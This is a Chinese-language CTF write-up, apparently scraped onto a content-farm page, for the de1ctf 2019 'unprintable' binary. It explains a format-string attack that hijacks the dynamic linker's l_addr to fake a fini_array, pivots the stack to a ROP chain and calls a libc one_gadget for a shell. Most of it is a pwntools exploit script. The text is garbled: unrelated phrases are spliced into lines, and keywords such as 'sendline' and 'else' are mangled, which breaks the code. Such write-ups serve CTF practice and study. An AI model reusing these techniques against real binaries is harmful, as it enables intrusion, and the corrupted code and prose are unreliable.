de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

更新时间:2023-07-18 19:06:36 阅读: 评论:0

de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙⽤)
de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙⽤)
带鸟字旁的字
⾸先,检查⼀下程序的保护机制
然后,我们⽤IDA分析⼀下,存在⼀个⾮栈上的格式化字符串漏洞,但是关闭了⽂件描述符1,导致不能输出,并且printf结束后就调⽤了exit(0)
看看栈⾥有没有什么可⽤的数据
基本没有,要想劫持printf返回地址进⽽多次利⽤,是不⾏的,因为printf⼀次性不能实现,即不能修改栈中数据指向printf返回地址后继续利⽤新得到这个地址取修改printf返回地址,即其不具有传递性,其值依然是之前的值,因此必须分步。
在这⾥,我们发现⼀个有⽤的指针,该指针指向的地⽅正好就对应着dl的linkmap->l_addr
exit会调⽤dl_fini函数,我们看看dl_fini函数的源码
本来l->l_addr为0,⽽l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l-
>l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8
现在,我们劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我们的buf⾥,这样,我们就能在buf⾥伪造fini_array,进⽽进⾏⼆次利⽤。
因此,第⼀次,我们的payload为
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)去郊游英语
sh.ndline(payload)
这样做以后,l->addr变成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr处就偏移到了我们buf⾥,⽽此处我们布下了地址0x00000000004007A3,于是0x00000000004007A3处会被执⾏。梦见换发型
当第⼆次回到printf的时候,栈⾥已经有许多成链的栈地址可以⽤了,并且,有⼀个直接指向了printf的返回地址,我们可以直接利⽤。
这样,我们就在buf⾥布置下rop,然后利⽤printf成链攻击劫持函数栈迁移返回到buf⾥执⾏rop。管贻范
其中有⼀个gadget,我们可以⽤来将bss段上的stdout指针改成one_gadget地址,然后在csu⾥⾯进⾏call即可。
.text:00000000004006E8 adc    [rbp+48h], edx
#coding:utf8
#coding:utf8
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop_rsp = 0x000000000040082d
csu_pop = 0x000000000040082A
csu_call = 0x0000000000400810
屏幕对比度
stderr_ptr_addr = 0x0000000000601040
one_gadget = 0xf1147
offt = one_gadget - libc.sym['_IO_2_1_stderr_']
'''.text:00000000004006E8 adc    [rbp+48h], edx
.text:00000000004006EB mov    ebp, esp
.
text:00000000004006ED call    deregister_tm_clones
长江英文
.text:00000000004006F2 pop    rbp
.text:00000000004006F3 mov    cs:completed_7594, 1
青椒炒胡萝卜.text:00000000004006FA rep retn
'''
adc_p_rbp_edx = 0x00000000004006E8
sh = process('./de1ctf_2019_unprintable')
#sh = remote('node3.buuoj',26685)
stack_addr = vuntil('\n',drop = True),16)
print 'stack_addr=',hex(stack_addr)
#第⼀步,更改ld.so⾥的offt,使得array函数数组偏移到bss段上的buf⾥,重新执⾏read、printf #第⼀步的作⽤是在栈⾥留下了⼤量的栈指针
payload ='%'+str(0x298)+'c'+'%26$hn'
payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3)
sh.ndline(payload)
sleep(0.5)
rop_addr = 0x0000000000601260
#利⽤gadget将stderr指针改为one_gadget指针
rop = p64(csu_pop)
tmp = stderr_ptr_addr-0x48
rop += p64(tmp-1) #rbx
rop += p64(tmp) #rbp
rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) #r12
海鸭蛋的吃法
rop += p64(offt + 0x10000000000000000) #r13
rop += p64(adc_p_rbp_edx) #r14
rop += p64(0) #r15
rop += p64(csu_call)
#调⽤one_gadget
rop += p64(csu_pop)
rop += p64(0) #rbx
rop += p64(1) #rbp
rop += p64(stderr_ptr_addr) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(csu_call)
rop_addr = rop_addr - 0x18
#第⼆次,我们在buf⾥布下rop,同时劫持printf返回地址,进⾏下⼀轮利⽤
stdout_ptr_addr = 0x0000000000601020
payload = '%' + str(0xA3) + 'c%23$hhn'
payload = payload.ljust(0x200,'\x00')
payload += rop
sh.ndline(payload)
sleep(0.5)
#接下来我们在栈⾥布下rop_addr
for i in range(6):
data = (stack_addr - 0x118 + i) & 0xFF
data = (stack_addr - 0x118 + i) & 0xFF
if data < 0xA3:
payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn'  el:
payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn'  sh.ndline(payload)
sleep(0.5)
data = rop_addr & 0xFF
if data == 0:
payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn'
el:
if data < 0xA3:
payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn'      el:
payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn'  rop_addr = rop_addr >> 0x8
sh.ndline(payload)
sleep(0.5)
sleep(0.5)
#接下来,劫持printf的返回地址为pop rsp,使得栈迁移到buf⾥执⾏rop payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn'
sh.ndline(payload)
sh.interactive()

本文发布于:2023-07-18 19:06:36,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/89/1086694.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:地址   返回   函数   劫持   不能   指针   指向
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图